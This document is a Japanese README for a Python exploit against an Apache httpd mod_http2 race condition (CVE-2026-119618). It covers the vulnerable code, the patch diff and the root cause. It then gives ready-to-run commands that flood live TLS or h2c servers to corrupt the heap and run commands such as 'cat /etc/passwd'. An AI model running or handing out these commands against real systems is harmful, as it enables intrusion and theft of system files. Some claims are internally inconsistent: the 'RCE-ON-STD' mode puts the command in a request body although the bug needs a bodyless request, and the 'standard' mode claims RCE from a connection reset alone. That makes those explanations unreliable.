
CVE-2026-119618 に対する Python HTTP/2 エクスプロイト。Apache httpd 2.4.55~2.4.70 において、mod_http2 のリクエストヘッダーレースによりヒープ破壊と RCE を引き起こす脆弱性で、Docker テスト環境を備えています。
HTTP/2 リクエストヘッダーテーブルにおける不適切な同期を伴う共有リソースの並行利用 (CWE-362) → ヒープ破壊 → RCE。
| CVSS | 9.8 (Critical) |
| 脆弱性の影響範囲 | httpd 2.4.55 – 2.4.70、スタンドアロン mod_h2 2.0.8 – 2.0.42 |
| 修正バージョン | httpd 2.4.71 (2026-11-11 リリース) |
| アップストリームパッチ | 824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977) |
| 発見者 | Anthropic OSS Scanner (ANT-2026-MAPKT6MZ)、Google Cloud VRP (Weems / Scannell) |
modules/http2/h2_request.c 内の assign_headers() にある 1 行:
--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
- apr_table_setn(req->headers, "Content-Length", "0");
+ apr_table_setn(r->headers_in, "Content-Length", "0");
完全な保存済み diff: references/824beab_mod_http2_assign_headers.patch。
脆弱な分岐は、単一のリクエストに対して以下がすべて成立する場合にのみ実行されます:
CONNECT ではない;Content-Length ヘッダーがない;Content-Type ヘッダーがある;no_body が true — クライアントが DATA フレームなしで既に END_STREAM を送信済み
(no_body == conn_ctx->beam_in == NULL、つまりストリームがヘッダー時点で END_STREAM を運んでいたため、リクエストボディがバッファリングされなかった)。req->headers は h2_request のヘッダーテーブルです。このテーブルは2 つの所有者を持つ共有リソースです:
h2_stream_add_header() → h2_request_add_header() → h2_request_add_header が req->headers に書き込みます。h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …)。脆弱なコードでは、リクエストライフサイクルの最後の書き込み — apr_table_setn(req->headers, "Content-Length", "0") — が c2 ワーカースレッド上で、c1 スレッドがまだ書き込んでいる可能性のあるテーブルに対して行われていました (c2 ワーカーが c2_process を開始した後も、セッションはそのストリームのフレームをディスパッチ/フラッシュし続けます)。2 つのスレッドがロックなしで同じ apr_table_t を変更する (ハッシュテーブルのリハッシュ / 要素の再割り当て) → ヒープ破壊。
対照的に、r->headers_in は assign_headers() の冒頭で apr_table_clone(r->pool, req->headers) として作成されます — c2 ワーカーのプール内にあるリクエストごとの新しいコピーであり、c1 からは決して触れられません。修正は単に書き込みをそこへ移動するだけで、共有リソースへの書き込みと競合状態を排除します。
Content-Type が存在し、Content-Length がなく、HEADERS フレームに END_STREAM フラグが設定されている (ボディは続かない)。req->headers に同時に触れている間に、脆弱な apr_table_setn(req->headers, …) を実行します。apr_table の変更 → ヒープ破壊 → RCE (破壊が無害な場合や ASLR が不利な場合は DoS)。稼働中のサーバーで観測可能なもの: ストリームが RST_STREAM を受け取る、接続が GOAWAY を受け取る、またはバースト中に接続が切断される (クラッシュ)。パッチ適用済みの 2.4.71 サーバーは同じ単一リクエストに正常に応答します — これが --verify モードがスモークテストであり、バーストモードこそが競合を強制する理由です。
cve_2026_119618_exploit.py — 純粋な Python で、h2 パッケージを使って HTTP/2 ステートマシンを駆動します (C 依存なし)。各ラウンドで 1 つの接続を開き、h2 (ALPN) または h2c をネゴシエートし、triggers + flood ストリームのタイトなバーストを単一の sendall() で発火するため、すべての HEADERS フレーム (それぞれ END_STREAM 付き) がサーバーに連続して到達します。その後、RST / GOAWAY / EOF を監視します。
h2 が有効なあらゆる脆弱な Apache で動作します — カスタム CGI も特別なサーバー設定も不要です。RST/EOF が破壊のシグネチャです。--cmd フラグはオプションです (RCE エンドポイントを備えたテストリグでの RCE 実証用)。
エクスプロイトはレスポンス HEADERS を raw hpack デコーダ でデコードします(これは h2 ライブラリの内部デコーダとは別に保持されています。内部デコーダは END_STREAM によってストリームが閉じられるまでフレームをバッファリングしますが、Apache の mod_h2 は RCE 証明の CGI レスポンスでこの END_STREAM をしばしば送信しません)。これにより、h2 ライブラリのステートマシンが ResponseReceived を決して発行しない場合でも、X-Cmd-Out の RCE 証明が確実にキャプチャされます。
pip install h2
# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
--triggers 5 --flood 32 --rounds 500 -v
# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
--triggers 5 --flood 32 --rounds 1000 -v
# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
--triggers 5 --flood 32 --rounds 500 -v
# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify
# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
--trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v
# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
# RCE-ON-STD: ACTUAL RCE on a standard box that has its OWN body-reading
# handler (its standard /cgi-bin, SSI, PHP eval, ...). The command goes in the
# request BODY (not the X-Cmd header). The CVE's assign_headers() writes
# Content-Length:0 into the shared req->headers table, which is cloned into
# r->headers_in — so the body (carrying the command) reaches the handler, which
# echoes/executes it. Point --trigger-path at the box's body-reading handler.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 9443 --tls --rce-on-std \
--trigger-path /cgi-bin/echo-cgi --cmd 'cat /etc/passwd' \
--triggers 5 --flood 16 --conns 4 --rounds 30 -v
ターゲットが持つものに応じた3つの証明モード:
| モード | ターゲット | 証明 | 終了コード |
|---|---|---|---|
(デフォルト、--cmd) | rce-cgi リグ | X-Cmd-Out ヘッダー (コマンド出力) | 1 |
--standard | 素の Apache (ハンドラーなし) | 破損シグネチャ (RST/EOF) | 1 |
--rce-on-std | 標準 Apache で 独自の ボディ読み取りハンドラーを持つもの | コマンドが レスポンスボディにエコーバックされる (実際の RCE、rce-cgi なし) | 1 |
終了コード: 0 = クラッシュ未観測 (パッチ済みの可能性 / レース未到達);
1 = RST/EOF を観測 (脆弱 / RCE の可能性); 2 = h2 がネゴシエートされなかった;
3 = トリガーが送出されなかった; 4 = 環境/引数エラー。